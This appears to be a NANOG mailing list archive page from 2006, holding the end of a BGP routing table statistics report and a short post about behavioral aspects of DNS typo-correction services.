Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 3741 284 803 231 The Internet Solution 8452 169 60 7 TEDATA 6713 150 135 11 Itissalat Al-MAGHRIB 2018 131 314 105 Tertiary Education Network 15475 124 84 4 Nile Online 5536 123 8 15 Internet Egypt Network 24835 116 48 6 RAYA Telecom - Egypt 33783 105 6 2 EEPAD TISP TELECOM & INTERNET 2905 69 139 60 The Internetworking Company o 20928 60 16 3 Noor Advanced Technologies AS 15706 44 8 3 Sudatel Internet Exchange Aut 5713 39 294 35 Telkom SA Ltd 33774 31 7 21 AS Number for Telecom Algeria 16637 25 18 23 Johnnic e-Ventures 23889 24 8 11 MAURITIUS TELECOM 10798 23 1 14 Standard Bank of South Africa 8524 22 1 5 AUCEGYPT Autonomous System 33766 21 2 1 Nyala Communications Pty Ltd 12455 20 6 3 Jambonet Autonomous system 21491 20 17 2 UTL On-line is RF broadband I Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 4134 1243 1010 CHINANET-BACKBONE 18566 946 938 Covad Communications 9583 914 899 Sify Limited 4755 967 893 Videsh Sanchar Nigam Ltd. Aut 721 1022 713 DLA Systems Automation Center 4323 966 695 Time Warner Telecom 9498 765 695 BHARTI BT INTERNET LTD. 11492 657 646 Cable One 22773 674 634 Cox Communications, Inc. 6197 1012 534 BellSouth Network Solutions, 19262 722 532 Verizon Global Networks 5668 533 510 CenturyTel Internet Holdings, 19916 563 509 OLM LLC 17488 519 502 Hathway IP Over Cable Interne 855 573 499 Canadian Research Network 7545 551 477 TPG Internet Pty Ltd 8151 698 471 UniNet S.A. de C.V. 3602 525 421 Sprint Canada, Inc. 22047 432 421 VTR PUNTO NET S.A. 15270 444 411 PaeTec.net -a division of Pae List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 65128 PRIVATE 193.110.50.0/24 24652 Juniper Networks, Eu 24409 UNALLOCATED 203.119.29.0/24 9808 Guangdong Mobile Com Prefixes from private and non-routed address space (Global) ----------------------------------------------------------- Prefix Origin AS Description 198.18.1.0/24 3301 TeliaNet Sweden Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 132.0.0.0/10 721 DLA Systems Automation Center 137.0.0.0/13 721 DLA Systems Automation Center 158.0.0.0/13 721 DLA Systems Automation Center 183.206.196.0/24 2188 FR-RENATER-ASTER 192.44.0.0/24 5501 Fraunhofer Gesellschaft 192.44.0.0/19 702 UUNET - Commercial IP service 192.70.164.0/24 25689 National Research Council of 192.84.205.0/24 719 LANLINK autonomous system 192.172.0.0/19 721 DLA Systems Automation Center Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:17 /9:9 /10:11 /11:28 /12:95 /13:202 /14:369 /15:723 /16:8901 /17:3306 /18:5430 /19:11880 /20:13503 /21:11776 /22:14903 /23:16068 /24:103805 /25:382 /26:298 /27:176 /28:65 /29:78 /30:79 /31:0 /32:46 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 18566 929 946 Covad Communications 6197 792 1012 BellSouth Network Solutions, 7018 775 1466 AT&T WorldNet Services 9583 744 914 Sify Limited 11492 645 657 Cable One 2386 634 923 AT&T Data Communications Serv 19916 557 563 OLM LLC 7011 556 648 Citizens Utilities 4766 500 689 Korea Telecom (KIX) 855 447 573 Canadian Research Network 6198 440 598 BellSouth Network Solutions, 9498 429 765 BHARTI BT INTERNET LTD. 5668 416 533 CenturyTel Internet Holdings, 15270 413 444 PaeTec.net -a division of Pae 1239 398 855 Sprint 17849 390 396 Telecommunications Technology 4755 382 967 Videsh Sanchar Nigam Ltd. Aut 6517 375 409 Yipes Communications, Inc. 18101 356 425 Reliance Infocom Ltd Internet 22773 355 674 Cox Communications, Inc. Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:9 8:43 11:1 12:1612 13:1 15:15 16:3 17:3 18:4 20:41 24:778 25:1 32:58 38:234 40:54 41:7 44:3 47:6 52:4 55:1 56:3 57:23 58:192 59:248 60:196 61:860 62:810 63:1888 64:3076 65:2243 66:2946 67:624 68:671 69:1546 70:389 71:86 72:816 74:56 75:1 80:768 81:665 82:638 83:393 84:384 85:569 86:409 87:404 88:114 89:339 121:3 122:3 123:1 124:275 125:552 128:151 129:184 130:119 131:313 132:34 133:8 134:159 135:48 136:178 137:82 138:206 139:51 140:488 141:135 142:383 143:170 144:230 145:40 146:305 147:137 148:344 149:191 150:113 151:96 152:70 153:107 154:5 155:205 156:186 157:143 158:166 159:172 160:91 161:76 162:246 163:160 164:242 165:222 166:174 167:244 168:497 169:125 170:353 171:14 183:1 190:88 192:5722 193:3355 194:2654 195:1960 196:854 198:3965 199:3289 200:4631 201:965 202:6750 203:7090 204:3894 205:2046 206:2407 207:2921 208:2190 209:3401 210:2064 211:711 212:1241 213:1483 214:363 215:41 216:4005 217:1183 218:297 219:228 220:734 221:351 222:189 End of report

1 0

Behavioral aspects [Was: Re: Web typo-correction (Re: Sitefinder II, t he sequel...)]
by Fergie 14 Jul '06

14 Jul '06

I'm considering submitting a presentation proposal for the upcoming NANOG which may include related 'stuff'. It may just turn out to be a BoF , or prehaps a lightning talk -- it depends on how the presentation turns out... :-) Instead of 'correction mechanisms', it would be looking specifically at behavioral aspects of some of this. - ferg -- "Edward B. DREGER" <eddy+public+spam(a)noc.everquick.net> wrote: (Note that I've not examined OpenDNS's offering, so I'm _not_ pretending to comment on what they do.) Let's quit looking at overly-simplistic correction mechanisms. Do spell checkers force autocorrection with only a single choice per misspelled word? Return an A RR that points <correction service>-controlled system. Said system examines HTTP "Host" header, then returns a page listing multiple possibilities. "The site you specified does not exist. Here is a list of sites that you may be trying to access: ..." I'm generally ignoring other protocols to limit the discussion scope. However, one can see how SMTP and FTP might be similarly handled. (IMHO not as good as a SRV-ish system that could return NXDOMAIN per service, but actually somewhat usable today.) Eddy [snip] -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/

1 0